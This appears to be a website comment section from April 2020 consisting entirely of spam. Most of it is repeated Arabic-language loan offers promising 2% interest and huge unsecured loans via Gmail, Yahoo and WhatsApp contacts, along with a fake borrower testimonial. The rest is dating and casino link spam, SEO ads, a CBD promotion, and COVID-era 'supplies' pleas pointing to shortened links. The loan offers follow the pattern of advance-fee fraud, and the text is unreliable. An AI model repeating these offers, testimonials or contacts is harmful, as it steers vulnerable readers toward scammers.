عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Adham Ibraheem

Thursday, April 23, 2020

عمل موثوق به / الصفحة الرئيسية / شركة / مشروع / عرض قرض شخصي اليوم؟ الاتصال السريع والميسور بالقروض اتصل بنا عبر VIA اتصال / نص +1 (813) 308 0099 البريد الإلكتروني calvertguaranteefinancial@yahoo.com نحن مستشارون ماليون معتمدون نقدم قروضًا موثوقة للأفراد وتمويل الأعمال والمنزل والشخصي والمشاريع. هل تعبت من البحث عن قروض أم أنك في حالة فوضى مالية. هل لديك درجة ائتمان منخفضة ، وسوف تجد صعوبة في الحصول على قروض من البنوك والمؤسسات المالية الأخرى؟ ثم لا تقلق بعد الآن لأننا الحل لسوء الحظ المالي الخاص بك. نقدم جميع أنواع القروض التي تتراوح من 5000.00 دولار إلى 650.000.000 دولار أمريكي بسعر فائدة منخفض 2٪ ومدة القرض من 1 إلى 35 سنة لتسديد القرض بشكل آمن وغير مضمون. هل تخسر نومًا في الليل وتقلق من كيفية الحصول على قرض قانوني؟ إذا كانت الإجابة بنعم لا تقلق بعد الآن ، فنحن هنا لمساعدة الامتيازات المالية الأقل للحصول على القرض الذي يحتاجونه للعودة إلى أقدامهم بغض النظر عن درجة الائتمان الخاصة بك ، يمكنك أن تقول وداعًا لجميع أزماتك المالية وصعوباتك. اتصل بنا على البريد الإلكتروني التالي: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

mr scott

Thursday, April 23, 2020

مرحبا هل تحتاج إلى قرض مريح لإرضائك؟ نحن نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 2 إلى 20 عامًا على الأكثر. هل تحتاج إلى قرض فوري وسهل وبأسعار معقولة لدفع الدين ، أو بدء عمل تجاري ، أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الاتصال بنا اذا كنت مهتما. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com WhatsApp: +79265038734 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. مع تحياتي السيد سكوت البريد الإلكتروني: accessloanfirm2030@gmail.com

mr scott

Thursday, April 23, 2020

مرحبا هل تحتاج إلى قرض مريح لإرضائك؟ نحن نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 2 إلى 20 عامًا على الأكثر. هل تحتاج إلى قرض فوري وسهل وبأسعار معقولة لدفع الدين ، أو بدء عمل تجاري ، أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الاتصال بنا اذا كنت مهتما. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com WhatsApp: +79265038734 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. مع تحياتي السيد سكوت البريد الإلكتروني: accessloanfirm2030@gmail.com

mr scott

Thursday, April 23, 2020

مرحبا أنا مقرض خاص. هل تحتاج إلى قرض مشروع وصادق وجاد

mr scott

Thursday, April 23, 2020

مرحبا أنا مقرض خاص. هل تحتاج إلى قرض مشروع وصادق وجاد وسريع؟ يمكنني مساعدتك بقروض ضمان 100٪ ، وأقدم قروض تجارية وشخصية بنسبة 3٪ ، ونساعد في جميع أنواع القروض. لمزيد من المعلومات اتصل بنا على: accessloanfirm2030@gmail.com WhatsApp: +79265038734 مراسلتنا عبر البريد الإلكتروني: accessloanfirm2030@gmail.com

Mazie

Wednesday, April 22, 2020

tinder hookups or dating https://koordenwinkel.eu tinder hookups or dating tinder hookups or dating

Dorcas

Wednesday, April 22, 2020

totally free online christian dating https://cheapestdating.stoufagari.eu totally free online christian dating totally free online christian dating

Leila Kirklin

Wednesday, April 22, 2020

Please, We need your assistance with supplies during the WuHan Virus lockdown. We are out of toilet paper and we can't find any at the usual places. My granny can't get out of the home. I can get them N95 masks at http://tinyurl.com/ya38lakl Please list your excess supplies there? We'll pay whatever the fair going rate is for it! You'll save our lives right now! Stay healthy Leila

카지노사이트

Wednesday, April 22, 2020

Great weblog right here! Additionally your site lots up very fast! What host are you the use of? Can I am getting your affiliate hyperlink in your host? I wish my site loaded up as quickly as yours lol https://uricasino114.com

Bhaskara

Tuesday, April 21, 2020

https://bit.ly/2XD1mpW A Lockdown is not a full stop to Learning. Take your first step towards a brighter future. Begin your PG Diploma in Artificial Intelligence in Digital Marketing 2020 | Hooxbridge‎ with a commitment of just Rs.25,000. Domain Specialization. Learn From Data Experts. IIIT-B Alumni Status. Case Studies and Projects. https://bit.ly/2XD1mpW

mr scott

Monday, April 20, 2020

مرحبا هل تحتاج إلى قرض طارئ لحل احتياجاتك المالية؟ نحن نقدم قروض تتراوح من 2000 دولار إلى 50.000.000.00 دولار ونحن موثوقون وقويون وسريعون وديناميكيون ، بدون رقابة ائتمانية ونقدم ضمانًا بنسبة 100 ٪ للقروض الأجنبية خلال هذا التحويل. البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. لدينا أيضًا قرض بعملة كاملة بمعدل فائدة 2٪ على جميع القروض .... إذا كنت مهتمًا بالعودة عبر هذا البريد الإلكتروني: accessloanfirm2030@gmail.com يرجى الاتصال بنا إذا كنت مهتما عبر البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 مع تحياتي، السيد سكوت مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com

mr scott

Monday, April 20, 2020

مرحبا هل تحتاج إلى قرض طارئ لحل احتياجاتك المالية؟ نحن نقدم قروض تتراوح من 2000 دولار إلى 50.000.000.00 دولار ونحن موثوقون وقويون وسريعون وديناميكيون ، بدون رقابة ائتمانية ونقدم ضمانًا بنسبة 100 ٪ للقروض الأجنبية خلال هذا التحويل. البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. لدينا أيضًا قرض بعملة كاملة بمعدل فائدة 2٪ على جميع القروض .... إذا كنت مهتمًا بالعودة عبر هذا البريد الإلكتروني: accessloanfirm2030@gmail.com يرجى الاتصال بنا إذا كنت مهتما عبر البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 مع تحياتي، السيد سكوت مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com

mr scott

Monday, April 20, 2020

مرحبا هل تحتاج إلى قرض طارئ لحل احتياجاتك المالية؟ نحن نقدم قروض تتراوح من 2000 دولار إلى 50.000.000.00 دولار ونحن موثوقون وقويون وسريعون وديناميكيون ، بدون رقابة ائتمانية ونقدم ضمانًا بنسبة 100 ٪ للقروض الأجنبية خلال هذا التحويل. البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. لدينا أيضًا قرض بعملة كاملة بمعدل فائدة 2٪ على جميع القروض .... إذا كنت مهتمًا بالعودة عبر هذا البريد الإلكتروني: accessloanfirm2030@gmail.com يرجى الاتصال بنا إذا كنت مهتما عبر البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 مع تحياتي، السيد سكوت مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com

Clarence Chill

Sunday, April 19, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: Germany Vape Shop Database

Rubin Gomes

Sunday, April 19, 2020

Hello My name is Sergey and I am a founder of Sweaty Quid Freelancer Marketplace just where you are able to purchase and offer all types of online solutions ranging from backlinks and guest post to explainer video tutorials, infographics and write-ups for your site. I strongly believe that you and budget.gov.eg can seriously benefit from Sweaty Quid, no matter if you would like to offer your services or hire freelancers to aid you to expand your company. I have been a freelancer on numerous marketplaces for over 5 years and have had my accounts arbitrarily closed down, my earnings misappropriated and I just simply had a tough time with many low quality freelancers. After much unnecessary aggravation, I made a decision to start my very own freelance market place that would do things in a different way and far better. After almost one year of caffeinne powered evenings, myself and my crew at Creative Bear Tech have built up Sweaty Quid from ground up. One month into our release we have managed to bring in a good number of top-notch freelancers and an extremely high number of repeat buyers. I strongly believe this functions as a testament to our excellence. Sweaty Quid is a spam-free and transparent marketplace for top quality freelancers and buyers. We are rigorously banning all spammy vendors who do not pass our quality threshold and leave only the absolute best ones. Keeping abreast of the most recent technologcal transformations, we also take cryptocurrency as one of our payment methods. Our ethos that defines us is that sometimes less is more, specifically when it comes to quality freelancers. We are still very new in comparison to other freelance market places, but we are already punching above our weight. I would like to welcome you personally to register with Sweaty Quid Freelancer Market Place! Kind regards Sergey Greenfields Founder of Sweaty Quid Freelancer Marketplace Flat 9, 1 Jardine Rd, St Katharine's & Wapping, London E1W 3WD, UK https://www.sweatyquid.com

Leandra Seiffert

Sunday, April 19, 2020

Fresh from their recent success at a series of major UK award shows, Green Stem CBD has expanded their award-winning CBD enhanced range to include first-to-market CBD infused tonic waters free from sugar, artificial sweeteners and artificial flavourings. Each can delivers 10mg of the highest quality broad-spectrum CBD and come in three delicious botanical flavours that include Elderflower, Rhubarb & Rose and Citrus. Recommended retail price is £3.00 per can. CBD – also known as cannabidiol – is renowned for its anti-inflammatory and antioxidant properties. Revered to promote harmonious balance between the mind and body it also supports with an array of conditions including anxiety and insomnia. Crucially, Green Stem CBD products are 100% free of THC, the psychoactive ingredient of cannabis, so they are entirely legal and safe to use. The 250ml cans of tonic are adorned with the same beautiful artwork and design that have made Green Stem one of the most visible CBD companies in the UK and reflect the quality and purity of the ingredients in the can. The tonic contains extracts of Quassia, a West Indian bitter wood which is known for its zesty flavour and health benefits. Added to the blend is Cinchona bark, one of the most important ingredients in tonic thanks to its high level of digestion-aiding quinine – with Green Stem being amongst the first to use botanically-infused quinine vs chemical extraction. Manufactured at their HQ in Guildford, Surrey, the Green Stem CBD range is crafted using hemp oil rich in phytocannabinoids, derived from hemp grown organically in Colorado USA. All products are also thoroughly tested, enabling the proven health benefits of CBD to be experienced without any negative side effects. Setting new standards in the industry, Green Stem CBD recently won a clutch of awards at the UK Hemp and CBD Show, winning Best CBD Oil at events in March and October in 2019. “We are delighted to have been recognised as one of the game-changers in the wellness industry this year with our award-winning CBD oils, inhalable and skincare products,” said Brett Horth, CEO of Green Stem CBD. “Our new venture into the edibles and drinks sector marks a hugely exciting stage in our journey, and we are certain that our customers will enjoy experiencing the benefits of CBD with these innovative new products.” Read more at https://chillhempire.com/award-winning-green-stem-cbd-release-delectable-range-of-cbd-tonic-waters

Broderick Soward

Sunday, April 19, 2020

Tired of paying for clicks and getting lousy results? Now you can post your ad on 5000 ad sites and it'll only cost you one flat fee per month. These ads stay up forever, this is a continual supply of organic visitors! Check out our site now: http://bit.ly/adpostingrobot

رادوسيف سيكو

Sunday, April 19, 2020

انه يعطي الائتمان بسعر منخفض عبر البريد الإلكتروني: collinsjamesfinance55@gmail.com أيضا في الWhatsApp: +86 19822901792

رادوسيف سيكو

Sunday, April 19, 2020

انه يعطي الائتمان بسعر منخفض عبر البريد الإلكتروني: collinsjamesfinance55@gmail.com أيضا في الWhatsApp: +86 19822901792

Gail Peake

Sunday, April 19, 2020

Looking for fresh buyers? Receive thousands of keyword targeted visitors directly to your site. Boost revenues quick. Start seeing results in as little as 48 hours. For more info Visit: http://bit.ly/trafficmasters2020 In the event that you would prefer to be taken off from our master list please visit this link: https://bit.ly/2yp4480

Martha Coungeau

Saturday, April 18, 2020

Please, I need help with supplies. Our family is out of cleaning wipes and we can't find any at the stores. I can get them N95 masks at http://bit.ly/freetotrade Please list your excess supplies there? We'll pay WHATEVER the market rate is for it! You'll save our lives now! Stay safe Martha

mega casino bonus codes may 2017

Friday, April 17, 2020

Excellent web site. A lot of helpful information here. I am sending it to a few buddies ans additionally sharing in delicious. And naturally, thanks in your sweat! http://xinshangdaoxueyuan.com/home.php?mod=space&uid=7157&do=profile

온라인카지노

Friday, April 17, 2020

Hello are using Wordpress for your blog platform? I'm new to the blog world but I'm trying to get started and set up my own. Do you need any coding knowledge to make your own blog? Any help would be greatly appreciated! https://uricasino114.com

Bhaskara

Friday, April 17, 2020

https://bit.ly/2yeETot A Lockdown is not a full stop to Learning. Take your first step towards a brighter future. Begin your PG Diploma in Data Science with a commitment of just Rs.25,000. Domain Specialization. Learn From Data Experts. IIIT-B Alumni Status. Case Studies and Projects. https://bit.ly/2yeETot

Katharina Reichert

Friday, April 17, 2020

List budget.gov.eg with a CBD Shop Directory to increase your online exposure and sales. Simply Google "CBD Shop Directory".

Stewart Sixsmith

Friday, April 17, 2020

Hi guys I do SEO for a Vape brand and you are one of our competitors. Whoever is doing your SEO, they are not doing a good job at all. Not sure what you are paying them but it is apparent that someone is just creating very risky blog comments on penalised sites which is only dragging you down on the SERPs. I am not going to offer you my services due to conflict of interest but do find someone online. Google something along the lines of "Vape SEO Backlinks Package for Vape Shops". Anyway, best of luck with your SEO work. I thought I would give you a heads up so that you are not left in the dark. Sorry, I wish to remain anonymous. Do not try to contact me back because this is a fictitious email. Kind regards Ethical SEO Guy :)

우리카지노

Friday, April 17, 2020

Have you ever thought about adding a little bit more than just your articles? I mean, what you say is important and all. But think of if you added some great images or videos to give your posts more, "pop"! Your content is excellent but with images and videos, this website could definitely be one of the most beneficial in its niche. Superb blog! https://www.woori777.com

더킹카지노

Friday, April 17, 2020

Saved as a favorite, I really like your website! https://www.woori777.com

모바일카지노

Friday, April 17, 2020

I'm gone to say to my little brother, that he should also pay a visit this web site on regular basis to get updated from latest reports. https://www.woori777.com

더킹카지노

Friday, April 17, 2020

Do you mind if I quote a few of your posts as long as I provide credit and sources back to your website? My blog is in the very same area of interest as yours and my users would really benefit from some of the information you present here. Please let me know if this alright with you. Regards! https://www.woori777.com

더킹카지노

Friday, April 17, 2020

Hello, all is going perfectly here and ofcourse every one is sharing facts, that's in fact good, keep up writing. https://www.woori777.com

Cecilia

Friday, April 17, 2020

online data recovery from phoone memory https://datingsprinting.space/sitemap.xml online data recovery from phone memory online data recovery From phone Memory

Rudolf

Friday, April 17, 2020

best online dating messwges too send https://inciteddating.site best online dating messages to send online dating agency

Valentin

Thursday, April 16, 2020

lumen uk https://trustingdating.site lumen uk gay dating tampa

Alphonse

Thursday, April 16, 2020

free online dating sites for metalheads https://nomadicdating.site/sitemap.xml free online dating sitrs for metalheads Local Lobby speed Dating

Peter

Thursday, April 16, 2020

which dating sites aare reall free https://wellspringdating.site/sitemap.xml which dating sites are really free pet dating site

Garfield

Thursday, April 16, 2020

online part time data entry jobs for students https://northcountrydating.site/sitemap.xml online part time datta entry jobs for students math dating site

Carmon

Thursday, April 16, 2020

online banking system data flow diagram https://datingson.website online banking system data flow diagram online banking system data fllow diagram

Michell

Thursday, April 16, 2020

free dating sites in arizona https://inspiresdating.website free dating sites in arizona love sex and dating discussion questions

Lan

Thursday, April 16, 2020

legitimate free russian dating sites https://sexdatinguk.web-director.eu legitimate free russian dating sites my online dating experience

Bell Sowerby

Wednesday, April 15, 2020

I need your help with supplies during the qurantine. Our family is out of sanitizers and we can't get any in the usual places. I can get n95 masks at http://FreelyTrade.com Please post your excess supplies there? We'll pay WHATEVER the fair market rate is for it! You'll save our lives right now! Stay safe Bell

샌즈카지노

Tuesday, April 14, 2020

Wonderful blog! I found it while surfing around on Yahoo News. Do you have any tips on how to get listed in Yahoo News? I've been trying for a while but I never seem to get there! Appreciate it https://www.woori777.com

Kayla

Tuesday, April 14, 2020

how do i meet singles in my area https://pregnantsexdating.olej-lniany.eu how do i meet singles in my area how do i meet singles in my area

Ulrike

Tuesday, April 14, 2020

polygamy dating app free https://freedatingsitesblog.unepresidentepourleurope.eu polygamy dating app free online dating descriptions examples

فاتن خالد

Monday, April 13, 2020

اسمي فاتن خالد أنا من المملكة العربية السعودية مع عائلتي، هل تبحث عن قرض حقيقي؟ الاتصال بالشركة المناسبة للمقرض القرض المشروعة، لأنني أيضا الحصول على مبلغ قرضي من 700000 ريال من هذا الرجل الجيد دعا كولينز جيمس. ليكن سلام الله معك ومع عائلتك، اتصل إذا كان هناك أي شخص هناك لديه مصلحة أيضا. عبر البريد الإلكتروني: collinsjamesfinance55@gmail.com...

Lauren Napoleon

Sunday, April 12, 2020

مرحبا!!! هل تحتاج إلى مساعدة مالية؟ هناك الكثير من الناس يبحثون عن المساعدة المالية لكنهم لا يعرفون كيف يفعلون ذلك. هل تعلم أنه يمكنك التقدم بطلب للحصول على قرض والحصول على قرض في أقل من 24 ساعة لحل وضعك المالي؟ يجد الكثير من الناس صعوبة كبيرة في الحصول على قرض من بنوكهم المحلية أو مؤسسات مالية أخرى بسبب ارتفاع سعر الفائدة أو الضمانات غير الكافية أو نسبة الدين إلى الدخل أو انخفاض درجة الائتمان أو أي أسباب أخرى. لا مزيد من الانتظار! في NoviCap ، نقدم حلول تمويل. نقدم جميع أنواع القروض ، ونقدم خيارات قروض مرنة ومتعددة ، بما في ذلك القروض المضمونة وغير المضمونة ، والقروض الطويلة الأجل والقصيرة الأجل المصممة خصيصًا لاحتياجاتك المالية. للاستفسارات - إرسال بريد إلى (novicapfinancialservices@gmail.com) أو (WhatsApp عبر: 0031642117819) نحن نسعى جاهدين لجعل الاقتراض سهلاً ومريحًا وبأسعار معقولة. خدمتنا سريعة جدًا وجديرة بالثقة ويمكن الاعتماد عليها ويمكنك اقتراض ما يصل إلى 20 مليون يورو بسعر فائدة مدعوم يبلغ 2.5٪ لكل عام. نحن الشركة المناسبة للاتصال عندما تكون في حاجة ماسة إلى القرض. يمكنك التقدم بطلب للحصول على قرض في أي وقت وفي أي مكان في مكان مناسب لك باستخدام هاتفك أو الكمبيوتر المحمول ، كل ما عليك فعله هو الاتصال بنا عبر البريد الإلكتروني: (novicapfinancialservices@gmail.com) أو اكتب لنا على 